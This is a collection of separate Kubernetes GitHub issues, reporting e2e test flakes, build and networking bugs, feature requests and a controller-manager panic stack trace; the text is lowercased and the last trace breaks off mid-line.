which jobs are failing  :\r  ci-kubernetes-e2e-gce-master-new-downgrade-cluster  in  sig-release-master-upgrade gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r   sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down \r \r   since when has it been failing  :\r   2019-03-04, since  build 1298  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/1298 \r    commit diff  https://github.com/kubernetes/kubernetes/compare/1f6ea0455...3b4a9e4e7\r   since last successful run\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:317\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: /dev/sdb on /var/lib/kubelet/pods/9ad53159-3eb2-11e9-9e86-42010a8a0009/volumes/kubernetes.io~csi/pvc-95d18973-3eb2-11e9-9e86-42010a8a0009/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /var/lib/kubelet/pods/9ad53159-3eb2-11e9-9e86-42010a8a0009/volumes/kubernetes.io~csi/pvc-95d18973-3eb2-11e9-9e86-42010a8a0009/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/9ad53159-3eb2-11e9-9e86-42010a8a0009/volumes/kubernetes.io~csi/pvc-95d18973-3eb2-11e9-9e86-42010a8a0009/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/9ad53159-3eb2-11e9-9e86-42010a8a0009/volumes/kubernetes.io~csi/pvc-95d18973-3eb2-11e9-9e86-42010a8a0009/mount type ext4  rw,relatime,data=ordered \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:255\r    \r \r   anything else we need to know  :\r   this test fails on this job about half of the time:   triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-master-new-downgrade-cluster%24&test=pd.csi.storage.gke.io%5d 9ec7396aaa70fcc48a7a  , so this could be a flake. assigning  important-soon  unless we learn otherwise.\r \r   / /milestone v1.14\r \r @kubernetes/sig-storage-test-failures \r cc @smourapina @alejandroesc @kacole2 @mortent

i had a bug in my own go code where i forgot to update a label selector in response to a yaml config file changing  to rename a label key . i predict that i will not be the last person to make such a mistake and that others too will be driven to madness.  it would be wonderful to have some kind of system / framework where things like labels in configs are somehow kept in sync with their use in code. we can imagine all kinds of wonderful and horrible ways of doing this. i think we should do something. personally, if it were up to me, i would write a program that parsed go programs and analyzed their use of labels etc. but perhaps we can get away with a lighter linting solution.

but does not mention how to do that or that it's even a prerequisite. someone ran into this on slack so reporting here.  https://github.com/kubernetes/kubernetes/tree/master/examples/https-nginx  the command:      make keys secret key=/tmp/nginx.key cert=/tmp/nginx.crt secret=/tmp/secret.json      depends on building some k8s.io/kubernetes packages.  @bprashanth

here is what i saw,  it failed to pull the image due to authentication erron when it first try. then i fixed the authentication, and it did not try again.  16 minutes later it was still pending and waiting.  my image pull policy is ifnotpresent. daemon restart policy is default.   kubernetes release is  v1.1.2, docker version is v1.8.2. host os is fedora 22 x86-64.         root@xxxxx json   kubectl describe pod kafka-asjxb name:                           kafka-asjxb namespace:                      default image s :                       bbbbb/atlas/kafka:latest node:                           xxxxx/x.xxx.xxx.164 start time:                     mon, 21 dec 2015 19:12:00 +0800 labels:                         app=kafka labels:                         app=kafka status:                         pending reason: message: ip:                             10.1.46.5 replication controllers:        <none> containers:   kafka:     container id:     image:              xxxxx/atlas/kafka:latest     image id:     state:              waiting       reason:           pullimageerror     ready:              false     restart count:      0     environment variables:       broker_id:                0       rtgs_zookeeper_port:      2181 conditions:   type          status   ready         false  volumes:   bootstrap:     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace      claimname:  bootstrap     readonly:   false events:   firstseen     lastseen        count   from                    subobjectpath                           reason  message   ─────────     ────────        ─────   ────                    ─────────────                           ──────  ───────   17m           17m             1       {kubelet xxxxx}        implicitly required container pod       pulled  container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   17m           17m             1       {kubelet xxxxx}        implicitly required container pod       created created with docker id 84faa1afbae4   17m           17m             1       {kubelet xxxxx}        implicitly required container pod       started started with docker id 84faa1afbae4   13m           1m              4       {kubelet xxxxx}        spec.containers{kafka}                  pulling pulling image \ xxxxx/atlas/kafka:latest\    13m           1m              4       {kubelet xxxxx}        spec.containers{kafka}                  failed  failed to pull image \ nc9042036048.tivlab.raleigh.ibm.com/atlas/kafka:latest\ : image pull failed for xxxxx/atlas/kafka:latest, this may be because there are no credentials on this request.  details:  authentication is required.            root@xxxx json   kubectl describe daemonset kafka name:           kafka image s :       xxxx/atlas/kafka:latest selector:       app=kafka node-selector:  daemon=three labels:         app=kafka desired number of nodes scheduled: 1 current number of nodes scheduled: 1 number of nodes misscheduled: 0 pods status:    0 running / 1 waiting / 0 succeeded / 0 failed events:   firstseen     lastseen        count   from            subobjectpath   reason                  message   ─────────     ────────        ─────   ────            ─────────────   ──────                  ───────   24m           24m             1       {daemon-set }                   successfulcreate        created pod: kafka-asjxb

kubectl  can implicitly configure itself in a number of different ways: -   /etc/kubernetes/admin.conf  -  ~/.kube/config  -  kubeconfig  env var - env vars + token  running in a pod   when more than one of these sources of configuration are present on a given host, it would be helpful to be able to determine how  kubectl  is configuring itself.   maybe add a config command  e.g.  config show-source   or provide output when log verbosity is sufficiently high?  cc: @jbeda

feature request: what is steps to bootstrap a k8s cluster with two masters? please document that. if it is yet possible, this should be supported.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-test/13852/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:62 expected error:     < errors.statuserror | 0xc821148500>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /apis/extensions/v1beta1/namespaces/e2e-tests-horizontal-pod-autoscaling-zhfzs/replicasets/rs\\\\\\\ \\\   has prevented the request from succeeding  get replicasets.extensions rs \ ,             reason: \ internalerror\ ,             details: {                 name: \ rs\ ,                 group: \ extensions\ ,                 kind: \ replicasets\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-horizontal-pod-autoscaling-zhfzs/replicasets/rs\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /apis/extensions/v1beta1/namespaces/e2e-tests-horizontal-pod-autoscaling-zhfzs/replicasets/rs\\\ \   has prevented the request from succeeding  get replicasets.extensions rs  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling_utils.go:263      previous issues for this test:  27394  27660  28079  28768

running  make bazel-build  on debian stretch, i am getting:\r \r  /usr/bin/ld: -r and -pie may not be used together \r \r i've found some references to this being because the stretch version of ld sets  -pie  by default  e.g. https://github.com/rumpkernel/rumprun/issues/85  .  but it isn't clear to me how to address this.\r \r also, why is bazel using the ld from my system anyway  presuming it is ?  that is not reproducible.\r \r cc @mikedanese \r \r    \r ~/code/kubernetes/src/k8s.io/kubernetes   master  > make bazel-build\r info: found 3509 targets...\r error: /home/justinsb/code/kubernetes/src/k8s.io/kubernetes/vendor/build:5165:1: linking vendor/github.com/opencontainers/runc/libcontainer/system_cgo.cgo.dir/gen/_all.o failed: linux-sandbox failed: error executing command /home/justinsb/.cache/bazel/_bazel_justinsb/1f944bd9facab588950182ed33f07ddc/execroot/kubernetes/_bin/linux-sandbox ...  remaining 27 argument s  skipped .\r /usr/bin/ld: -r and -pie may not be used together\r collect2: error: ld returned 1 exit status\r info: elapsed time: 2.136s, critical path: 0.47s\r makefile:486: recipe for target 'bazel-build' failed\r make:      bazel-build  error 1\r ~/code/kubernetes/src/k8s.io/kubernetes   master  > bazel version\r build label: 0.4.3\r build target: bazel-out/local-fastbuild/bin/src/main/java/com/google/devtools/build/lib/bazel/bazelserver_deploy.jar\r build time: thu dec 22 12:31:25 2016  1482409885 \r build timestamp: 1482409885\r build timestamp as int: 1482409885\r

\r   kubernetes version    use  kubectl version  :\r 1.6.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :centos linux release 7.3.1611  core  ami-6d1c2007\r -   kernel    e.g.  uname -a  : 3.10.0-514.16.1.el7.x86_64\r -   install tools  : kubeadm\r \r \r \r   what happened  :\r when deploying a new pod and service with the kube-proxy in iptables mode along with a tcp elb the node that is running the pod will be reported as unhealthy after a short period of time.  the pod in fact does work as the elb reports the other nodes are still healthy and i can test and verify that pod is in fact working.  i do have source destination checks off and i have replicated this issue with both calico and flannel.  \r \r   what you expected to happen  :\r all nodes report healthy and be present in the load balancer\r \r   how to reproduce it    as minimally and precisely as possible :\r build a cluster using ami listed above and create any pod and expose it via a nodeport.  create a elb with a tcp listener and tcp health check.  monitor and normally within the hour the node that is running the pod will be removed from the elb.\r \r so far what i've noticed is this seems to go away if i use fedora 25 as my host.  it's also not exactly clear if iptables mode is technically supported on 3.10.x kernels.  it would appear to have severe stability issues potentially.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r the csi e2e test  sig-storage  csi volumes  flaky  sanity csi plugin test using hostpath csi driver should provision storage with a hostpath csi driver  in https://k8s-testgrid.appspot.com/sig-storage gce-flaky occasionally flakes with:  persistentvolumeclaim pvc-dbv9r not in phase bound within 5m0s \r \r examples:\r \r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-flaky/15875\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-flaky/15884\r \r   what you expected to happen  :\r \r this flake should be root caused and fixed before the test is moved out of   flaky  .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r add the new path  /var/lib/kubelet/plugins_registry  and maybe the old to the error message.\r \r   why is this needed  :\r the error-message is normally not in context e.g. container/pod log output, thus lacking documentation and references.\r <!-- do not edit below this line -->\r 

there aren't any tests that cover externalport services from windows pods today. here's an example manual case that can best explain what needs to be automated.\r \r 1. start a windows pod on a windows node\r 2.  kubectl create -f …  this yaml\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: searchengine\r spec:\r   type: externalname\r   externalname: www.google.com\r    \r \r 3.  kubectl exec <podname> curl.exe searchengine \r \r    \r azureuser@k8s-master-30163644-0:~$ kubectl exec iis-2019-c5d48d8c-cqw7x curl.exe searchengine\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<!doctype html>\r <html lang=en>\r   <meta charset=utf-8>\r   <meta name=viewport content=\ initial-scale=1, minimum-scale=1, width=device-width\ >\r   <title>error 404  not found !!1</title>\r   <style>\r      {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background: fff;color: 222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}  > body{background:url //www.google.com/images/errors/robot.png  100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color: 777;text-decoration:none}a img{border:0}@media screen and  max-width:772px {body{background:none;margin-top:0;max-width:none;padding-right:0}} logo{background:url //www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png  no-repeat;margin-left:-5px}@media only screen and  min-resolution:192dpi { logo{background:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  no-repeat 0% 0%/100% 100%;-moz-border-image:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  0}}@media only screen and  -webkit-min-device-pixel-ratio:2 { logo{background:url //www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png  no-repeat;-webkit-background-size:100% 100%}} logo{display:inline-block;height:54px;width:150px}\r   </style>\r   <a href=//www.google.com/><span id=logo aria-label=google></span></a>\r   <p><b>404.</b> <ins>that’s an error.</ins>\r   <p>the requested url <code>/</code> was not found on this server.  <ins>that’s all we know.</ins>\r 100  1561  100  1561    0     0   1561      0  0:00:01 --:--:--  0:00:01 33212\r    \r this shows that dns is working for the externalname service entry. the actual http request fails  by design  because curl is putting the service name in the header which is rejected by the http server itself. \r \r \r  /good-first-issue

kubernetes version    use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4+coreos.0\ , gitcommit:\ be9bf3e842a90537e48361aded2872e389e902e7\ , gittreestate:\ clean\ , builddate:\ 2016-08-02t00:54:53z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  : coreos v0.8.1 on aws -   os    e.g. from /etc/os-release :   > name=coreos > id=coreos > version=1068.10.0 > version_id=1068.10.0 > build_id=2016-08-23-0220 > pretty_name=\ coreos 1068.10.0  moreos \  > ansi_color=\ 1;32\  > home_url=\ https://coreos.com/\  > bug_report_url=\ https://github.com/coreos/bugs/issues\  -   kernel  : linux ip-10-0-0-136.eu-central-1.compute.internal 4.6.3-coreos  2 smp tue aug 23 02:14:16 utc 2016 x86_64 intel r  xeon r  cpu e5-2680 v2 @ 2.80ghz genuineintel gnu/linux -   install tools  : kube-aws    what happened  : a container failed running and produced a cryptic log.    what you expected to happen  : the container to work.    how to reproduce it    as minimally and precisely as possible : described in detail below    most important info:  kubernetes v1.3.4 certain pod crashes on creation without providing info because of a running service associated with it.    i want to mention something  i think there is a bigger improvement potential here rather than fixing the bug: i actually stated filling a bug report on pod creation, because i didn't understand the whole issue and the error feedback from kubernetes is lacking. i started looking at the  docker inspect  of containers before guessing it might be something else.    how to reproduce  including all resources   run the following commands to reproduce and see the problematic log:  resources below       kctl create -f service-rq-dashboard.yaml kctl create -f pod-rq-dashboard.yaml kctl logs rq-dashboard      i got this:      usage: rq-dashboard  options   error: invalid value for \ -p\  / \ --port\ : tcp://10.3.0.49:80 is not a valid integer        resources     dockerfile for the image  no other files needed for the  docker build        from python:2.7.11-alpine   install run pip install rq-dashboard expose 9181 cmd  \ rq-dashboard\ , \ -h redis\ , \ -p 6379\           pod-rq-dashboard.yaml      apiversion: v1 kind: pod metadata:   labels:     app: rq-dashboard   name: rq-dashboard spec:   containers:   - name: rq-dashboard     image: rq-dashboard     command:  \ /bin/sh\ , \ -c\ , \ rq-dashboard\ , \ -h\ , \ redis\ , \ -p\ , \ 6379\       ports:     - containerport: 9181         service-rq-dashboard.yaml      apiversion: v1 kind: service metadata:   name: rq-dashboard spec:   selector:     app: rq-dashboard   ports:     - name: rq-dashboard       protocol: tcp       port: 80       targetport: 9181        more info  to be concise: i ssh'd into my coreos to try and run a docker image that was failing.  while doing that i got the following error log from the pod:      itay@ubuntu $ kctl logs --follow rq-dashboard-3456423072-xkc5w usage: rq-dashboard  options   error: invalid value for \ -p\  / \ --port\ : tcp://10.3.0.105:80 is not a valid integer      the image is runnable from the same host with the same docker command and arguments.  tested via docker run, verified by comparing docker inspect with the kubectl run

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r fatal error: concurrent map writes\r i found this https://github.com/kubernetes/minikube/issues/368,but not the same problem.\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:08:43z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : virtual machine ,4 cpu cores,8g ram\r -   os    e.g. from /etc/os-release :centos linux release 7.2.1511\r -   kernel    e.g.  uname -a  :linux k8s-master-1 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :none\r -   others  :two kubernetes master both with api,controller,scheduler  node use election feature.\r \r \r   what happened  :\r \r panic frequently,sometimes 3 times a day.\r \r   what you expected to happen  :\r \r not panic\r \r   how to reproduce it    as minimally and precisely as possible :\r \r not known\r \r   anything else do we need to know  :\r \r here is the dump stack:\r \r nov 23 06:03:13 centos7-image kube-controller-manager: fatal error: concurrent map writes\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 19396  running :\r nov 23 06:03:13 centos7-image kube-controller-manager: runtime.throw 0x2c86560, 0x15 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/runtime/panic.go:547 +0x90 fp=0xc820cbbab0 sp=0xc820cbba98\r nov 23 06:03:13 centos7-image kube-controller-manager: runtime.mapassign1 0x1e59780, 0xc8201892f0, 0xc820cbbbf8, 0xc820cbbc48 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/runtime/hashmap.go:445 +0xb1 fp=0xc820cbbb58 sp=0xc820cbbab0\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  deltafifo .queueactionlocked 0xc8200e0a50, 0x2a67378, 0x4, 0x29fe980, 0xc821752b60, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:314 +0x5d1 fp=0xc820cbbcc0 sp=0xc820cbbb58\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  deltafifo .resync 0xc8200e0a50, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:498 +0x4f7 fp=0xc820cbbe38 sp=0xc820cbbcc0\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1 0xc8201912b0, 0xc82009ad80, 0xc8201503c0, 0xc82124eb40, 0xc8201912d0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:289 +0x252 fp=0xc820cbbf88 sp=0xc820cbbe38\r nov 23 06:03:13 centos7-image kube-controller-manager: runtime.goexit  \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc820cbbf90 sp=0xc820cbbf88\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:296 +0xde3\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 1  chan receive :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.waitfor 0xc8213b7220, 0xc821389780, 0xc821196180, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:209 +0x64\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.pollinternal 0xc8213b7220, 0xc821389780, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:170 +0x8a\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.poll 0x77359400, 0x2540be400, 0xc821389780, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:164 +0x4f\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .renew.func1  \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:224 +0x7d\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.jitteruntil.func1 0xc821389918 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:86 +0x4b\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.jitteruntil 0xc821389918, 0x0, 0x0, 0x435701, 0xc820500900 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:87 +0xb4\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.until 0xc821389918, 0x0, 0xc820500900 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:49 +0x43\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .renew 0xc8201b0000 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:235 +0x64\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/leaderelection.  leaderelector .run 0xc8201b0000 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:178 +0x9f\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/leaderelection.runordie 0x2c9c620, 0x17, 0x0, 0x0, 0x2a9cb40, 0xb, 0x0, 0x0, 0x0, 0x0, ... \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/leaderelection/leaderelection.go:189 +0x98\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/cmd/kube-controller-manager/app.run 0xc8201758c0, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/app/controllermanager.go:194 +0x781\r nov 23 06:03:13 centos7-image kube-controller-manager: main.main  \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-controller-manager/controller-manager.go:53 +0x9b\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 18  chan receive :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x3f051a0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x67\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x297\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 11  select, 385 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch.func1 0xc82008a0d8, 0xc82009ad80, 0xc820150d20, 0xc820672540, 0xc82008a0e0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:283 +0x3c8\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/client/cache.  reflector .listandwatch\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/reflector.go:296 +0xde3\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 25  select :\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.jitteruntil 0x317bb30, 0x12a05f200, 0x0, 0x434301, 0xc82009ad80 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:101 +0x191\r nov 23 06:03:13 centos7-image kube-controller-manager: k8s.io/kubernetes/pkg/util/wait.until 0x317bb30, 0x12a05f200, 0xc82009ad80 \r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:49 +0x43\r nov 23 06:03:13 centos7-image kube-controller-manager: created by k8s.io/kubernetes/pkg/util.initlogs\r nov 23 06:03:13 centos7-image kube-controller-manager: /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/logs.go:50 +0xba\r nov 23 06:03:13 centos7-image kube-controller-manager: goroutine 26  io wait, 275 minutes :\r nov 23 06:03:13 centos7-image kube-controller-manager: net.runtime_pollwait 0x7fc2c66cc4f0, 0x72, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/runtime/netpoll.go:160 +0x60\r nov 23 06:03:13 centos7-image kube-controller-manager: net.  polldesc .wait 0xc8202fc450, 0x72, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/net/fd_poll_runtime.go:73 +0x3a\r nov 23 06:03:13 centos7-image kube-controller-manager: net.  polldesc .waitread 0xc8202fc450, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/net/fd_poll_runtime.go:78 +0x36\r nov 23 06:03:13 centos7-image kube-controller-manager: net.  netfd .accept 0xc8202fc3f0, 0x0, 0x7fc2c64ed078, 0xc820e74700 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/net/fd_unix.go:426 +0x27c\r nov 23 06:03:13 centos7-image kube-controller-manager: net.  tcplistener .accepttcp 0xc82008a058, 0x453cb0, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/net/tcpsock_posix.go:254 +0x4d\r nov 23 06:03:13 centos7-image kube-controller-manager: net/http.tcpkeepalivelistener.accept 0xc82008a058, 0x0, 0x0, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/net/http/server.go:2427 +0x41\r nov 23 06:03:13 centos7-image kube-controller-manager: net/http.  server .serve 0xc820194280, 0x7fc2c64ed040, 0xc82008a058, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: /usr/local/go/src/net/http/server.go:2117 +0x129\r nov 23 06:03:13 centos7-image kube-controller-manager: net/http.  server .listenandserve 0xc820194280, 0x0, 0x0 \r nov 23 06:03:13 centos7-image kube-controller-manager: 